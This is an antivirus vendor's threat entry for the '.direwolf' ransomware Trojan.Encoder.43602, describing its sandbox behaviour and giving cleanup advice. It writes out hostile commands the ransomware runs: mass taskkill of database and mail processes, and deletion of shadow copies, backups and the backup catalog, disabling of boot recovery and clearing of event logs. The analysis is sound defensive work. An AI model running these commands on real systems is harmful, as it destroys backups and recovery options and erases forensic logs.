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Trojan.Encoder.43602
Added to the Dr.Web virus database:
2025-11-09
Virus description added:
2025-11-10
Technical Information
To ensure autorun and distribution
Creates the following files on removable media
<Drive name for removable media>:\howtorecoveryfiles.txt
<Drive name for removable media>:\system volume information\howtorecoveryfiles.txt
<Drive name for removable media>:\000814251_video_01.avi
<Drive name for removable media>:\1189.jpeg
<Drive name for removable media>:\1189.jpg
<Drive name for removable media>:\13.jpeg
<Drive name for removable media>:\13.jpg
<Drive name for removable media>:\1sm_price.xls
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
blocks the following features:
deletes volume shadow copies.
Executes the following
'<SYSTEM32>\taskkill.exe' /F /IM wxServerView.exe
'<SYSTEM32>\taskkill.exe' /F /IM sqlmangr.exe
'<SYSTEM32>\taskkill.exe' /F /IM RAgui.exe
'<SYSTEM32>\taskkill.exe' /F /IM supervise.exe
'<SYSTEM32>\taskkill.exe' /F /IM Culture.exe
'<SYSTEM32>\taskkill.exe' /F /IM Defwatch.exe
'<SYSTEM32>\taskkill.exe' /F /IM httpd.exe
'<SYSTEM32>\taskkill.exe' /F /IM wsa_service.exe
'<SYSTEM32>\taskkill.exe' /F /IM synctime.exe
'<SYSTEM32>\taskkill.exe' /F /IM vxmon.exe
'<SYSTEM32>\taskkill.exe' /F /IM sqlbrowser.exe
'<SYSTEM32>\taskkill.exe' /F /IM memtas.exe
'<SYSTEM32>\taskkill.exe' /F /IM tomcat6.exe
'<SYSTEM32>\taskkill.exe' /f /pid 1508
'<SYSTEM32>\taskkill.exe' /F /IM Sqlservr.exe
'<SYSTEM32>\taskkill.exe' /F /IM agntsvc.exe
'<SYSTEM32>\taskkill.exe' /F /IM dbeng50.exe
'<SYSTEM32>\taskkill.exe' /F /IM dbsnmp.exe
'<SYSTEM32>\taskkill.exe' /F /IM dbsrv12.exe
'<SYSTEM32>\taskkill.exe' /F /IM encsvc.exe
'<SYSTEM32>\taskkill.exe' /F /IM excel.exe
'<SYSTEM32>\taskkill.exe' /F /IM firefox.exe
'<SYSTEM32>\taskkill.exe' /F /IM vss.exe
'<SYSTEM32>\taskkill.exe' /F /IM infopath.exe
'<SYSTEM32>\taskkill.exe' /F /IM isqlplussvc.exe
'<SYSTEM32>\taskkill.exe' /F /IM msaccess.exe
'<SYSTEM32>\taskkill.exe' /F /IM mspub.exe
'<SYSTEM32>\taskkill.exe' /F /IM mydesktopqos.exe
'<SYSTEM32>\taskkill.exe' /F /IM mydesktopservice.exe
'<SYSTEM32>\taskkill.exe' /F /IM ocautoupds.exe
'<SYSTEM32>\taskkill.exe' /F /IM ocomm.exe
'<SYSTEM32>\taskkill.exe' /F /IM ocssd.exe
'<SYSTEM32>\taskkill.exe' /F /IM onenote.exe
'<SYSTEM32>\taskkill.exe' /F /IM oracle.exe
'<SYSTEM32>\taskkill.exe' /F /IM outlook.exe
'<SYSTEM32>\taskkill.exe' /F /IM powerpnt.exe
'<SYSTEM32>\taskkill.exe' /F /IM sqbcoreservice.exe
'<SYSTEM32>\taskkill.exe' /F /IM sql.exe
'<SYSTEM32>\taskkill.exe' /F /IM steam.exe
'<SYSTEM32>\taskkill.exe' /F /IM tbirdconfig.exe
'<SYSTEM32>\taskkill.exe' /F /IM thebat.exe
'<SYSTEM32>\taskkill.exe' /F /IM thunderbird.exe
'<SYSTEM32>\taskkill.exe' /F /IM visio.exe
'<SYSTEM32>\taskkill.exe' /f /pid 0
'<SYSTEM32>\taskkill.exe' /F /IM WinSAT.exe
'<SYSTEM32>\taskkill.exe' /F /IM winword.exe
'<SYSTEM32>\taskkill.exe' /F /IM wordpad.exe
'<SYSTEM32>\taskkill.exe' /F /IM onedrive.exe
'<SYSTEM32>\taskkill.exe' /F /IM wrapper.exe
'<SYSTEM32>\taskkill.exe' /F /IM xfssvccon.exe
'<SYSTEM32>\taskkill.exe' /F /IM sqlagent.exe
'<SYSTEM32>\taskkill.exe' /F /IM sqlwriter.exe
'<SYSTEM32>\taskkill.exe' /F /IM MSExchangeIS.exe
'<SYSTEM32>\taskkill.exe' /F /IM MSExchangeTransport.exe
'<SYSTEM32>\taskkill.exe' /F /IM MSExchangeMailboxAssistants.exe
'<SYSTEM32>\taskkill.exe' /F /IM MSExchangeRepl.exe
'<SYSTEM32>\taskkill.exe' /F /IM MSExchangeRPC.exe
'<SYSTEM32>\taskkill.exe' /F /IM MSExchangeServiceHost.exe
'<SYSTEM32>\taskkill.exe' /F /IM notepad++.exe
'<SYSTEM32>\taskkill.exe' /F /IM notepad.exe
Launches a large number of processes
Terminates or attempts to terminate
the following system processes:
Modifies file system
Creates the following files
C:\howtorecoveryfiles.txt
D:\howtorecoveryfiles.txt
D:\$recycle.bin\howtorecoveryfiles.txt
C:\msocache\howtorecoveryfiles.txt
D:\$recycle.bin\s-1-5-21-4226853953-3309226944-3078887307-1000\howtorecoveryfiles.txt
nul
C:\perflogs\howtorecoveryfiles.txt
Moves the following system files
from C:\recovery\windowsre\boot.sdi to C:\recovery\windowsre\boot.sdi.direwolf
from C:\recovery\windowsre\winre.wim to C:\recovery\windowsre\winre.wim.direwolf
Modifies the following files
D:\$recycle.bin\s-1-5-21-4226853953-3309226944-3078887307-1000\desktop.ini.direwolf
Changes user data files extensions (Trojan.Encoder).
Network activity
Connects to
'mo#####.map.fastly.net':443
'co##############e-chains.prod.autograph.services.mozaws.net':443
UDP
DNS ASK co##############e-chains.prod.autograph.services.mozaws.net
Miscellaneous
Searches for the following windows
ClassName: '' WindowName: ''
Executes the following
'<SYSTEM32>\cmd.exe' -Command "/c start vssadmin delete shadows /all /quiet"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Get-WmiObject -Class win32_service -Filter \"name = 'eventlog'\" | select -exp ProcessId"
'<SYSTEM32>\sc.exe' config wuauserv start= disabled
'<SYSTEM32>\sc.exe' config vss start= disabled
'<SYSTEM32>\cmd.exe' -Command "/c start wmic shadowcopy delete /nointeractive"
'<SYSTEM32>\cmd.exe' -Command "/c start wbadmin stop job -quiet"
'<SYSTEM32>\wbadmin.exe' stop job -quiet"
'<SYSTEM32>\wbengine.exe'
'<SYSTEM32>\vds.exe'
'<SYSTEM32>\cmd.exe' -Command "/c start wbadmin disable backup -quiet"
'<SYSTEM32>\wbadmin.exe' disable backup -quiet"
'<SYSTEM32>\cmd.exe' -Command "/c start wbadmin delete backup -keepVersions:0 -quiet"
'<SYSTEM32>\wbadmin.exe' delete backup -keepVersions:0 -quiet"
'<SYSTEM32>\cmd.exe' -Command "/c start wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0 -quiet"
'<SYSTEM32>\wbadmin.exe' DELETE SYSTEMSTATEBACKUP -keepVersions:0 -quiet"
'<SYSTEM32>\cmd.exe' -Command "/c start wbadmin delete catalog -quiet"
'<SYSTEM32>\wbadmin.exe' delete catalog -quiet"
'<SYSTEM32>\cmd.exe' -Command "/c start bcdedit /set {default} recoveryenabled No"
'<SYSTEM32>\cmd.exe' -Command "/c start taskkill /f /pid 1508
"
'<SYSTEM32>\cmd.exe' -Command "/c start bcdedit /set {default} bootstatuspolicy ignoreallfailures"
'<SYSTEM32>\bcdedit.exe' /set {default} bootstatuspolicy ignoreallfailures"
'<SYSTEM32>\cmd.exe' -Command "/c start wevtutil cl Application"
'<SYSTEM32>\wevtutil.exe' cl Application"
'<SYSTEM32>\cmd.exe' -Command "/c start wevtutil cl system"
'<SYSTEM32>\wevtutil.exe' cl system"
'<SYSTEM32>\cmd.exe' -Command "/c start wevtutil cl security"
'<SYSTEM32>\wevtutil.exe' cl security"
'<SYSTEM32>\cmd.exe' -Command "/c start wevtutil cl setup"
'<SYSTEM32>\wevtutil.exe' cl setup"
'<SYSTEM32>\cmd.exe' -Command "/c start taskkill /f /pid 0
"
Curing recommendations
Windows
macOS
Linux
Android
If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space .
If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.
If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
Switch off your device and turn it on as normal.
Find out more about Dr.Web for Android
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